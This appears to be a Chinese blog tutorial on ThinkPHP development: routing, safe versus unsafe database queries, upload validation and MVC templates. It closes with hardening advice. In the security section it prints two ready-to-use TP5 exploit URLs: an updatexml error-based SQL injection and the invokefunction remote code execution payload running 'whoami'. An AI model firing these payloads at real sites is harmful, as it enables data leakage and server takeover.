一、TP框架开发核心(配置、路由、数据库、文件上传、MVC)

(一)配置架构与访问

将ThinkPHP项目部署到PhpStudy的WWW​目录(如 G:\phpstudy_pro\WWW\dome01\thinkphp\public​),通过「IP+端口」即可访问(如 192.168.137.1:84​)。

(二)路由访问(URL规则)

TP的URL遵循 「入口文件/模块/控制器/操作/参数」 规则:

  • 默认首页访问:http://IP:端口/index.php/Index/index/​

  • 带参数的方法访问:

    • 路径传参:http://IP:端口/index.php/Index/index/xi/name/值​(如 xi​ 是方法名,name​ 是参数名);
    • GET传参:http://IP:端口/index.php/Index/index/xi?name=值​;
  • 多模块访问:新建模块(如 application/text/controller/Test.php​),URL格式为 http://IP:端口/index.php/模块名/控制器名/方法?参数=值​(如 http://192.168.137.1:84/index.php/test/Test/xi?x=值​)。

(三)数据库操作(ORM与安全过滤)

TP通过 think\Db​ 类实现数据库操作,内置过滤机制可防御SQL注入,但写法不规范仍会引发风险:

写法类型 示例代码 安全风险
安全写法 ​$data = Db::table('news')->where('id', $id)->find();​ 低(框架自动转义危险字符)
半安全写法 ​$data = Db::query("select * from news where id=$id");​ 中(需手动过滤$id​)
原生写法 ​$data = mysqli_query($con, "select * from news where id=$id");​ 高(无框架过滤保护)

(四)文件上传(内置验证)

TP通过 request()->file()​ 结合 validate()​ 实现上传过滤,支持后缀、大小、类型校验:

public function upload() {
    $file = request()->file('image'); // 获取上传的文件(表单name为image)
    // 验证后缀为jpg/png/gif,并移动到`../uploads`目录
    $info = $file->validate(['ext'=>'jpg,png,gif'])->move('../uploads');
    if ($info) {
        echo $info->getExtension(); // 输出文件后缀(如 jpg)
        echo $info->getSaveName();  // 输出文件保存路径(如 202401/xxx.jpg)
    } else {
        echo $file->getError();     // 输出上传错误信息(如后缀不合法)
    }
}

(五)前端页面渲染(MVC模型)

TP基于MVC架构分离业务与视图:

  • 控制器(Controller):通过 assign()​ 传递数据到模板,fetch()​ 渲染模板。

    public function index() {
        $this->assign([ // 传递变量到模板
            'name' => 'ThinkPHP',
            'email' => 'thinkphp@qq.com'
        ]);
        return $this->fetch('index/edit'); // 渲染 `index/edit.html` 模板
    }
    
  • 视图(View):在 application/index/view/index/edit.html​ 中,通过 {$name}​ {$email}​ 调用控制器传递的变量。

二、TP框架安全风险(代码写法与版本漏洞)

TP的安全防护依赖“框架内置过滤 + 规范代码写法”,不规范写法或框架历史漏洞会引发风险。

(一)代码写法引发的漏洞

若偏离TP推荐的“安全写法”,会绕过框架过滤,导致SQL注入等问题。

(二)框架版本漏洞(以TP5为例)

需关注框架版本号(在 thinkphp/thinkphp/tpl/base.php​ 中查看),不同版本存在历史漏洞:

1. SQL注入漏洞(写法绕过)

通过构造特殊数组参数,绕过框架过滤,利用updatexml​等函数报错注入:

http://IP:端口/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
  • 利用updatexml​的报错机制,可泄露数据库用户、库名等敏感信息。
2. 远程代码执行(RCE)漏洞

利用框架路由与函数调用的设计缺陷,直接执行系统命令:

http://IP:端口/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 执行whoami​命令,可获取当前系统用户,进一步控制服务器。

三、安全开发建议

  1. 代码规范:优先使用TP的查询构造器(安全写法),避免混合原生SQL或直接使用mysqli​等原生数据库操作。
  2. 版本管理:及时升级ThinkPHP到最新稳定版,修复已知漏洞。
  3. 输入验证:即使框架有过滤,对用户输入仍需二次校验(如类型、长度、白名单限制)。
  4. 权限最小化:文件上传目录设置为“不可执行”(如Apache中添加php_flag engine off​);数据库账号仅保留“查询/插入”等必要权限。
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐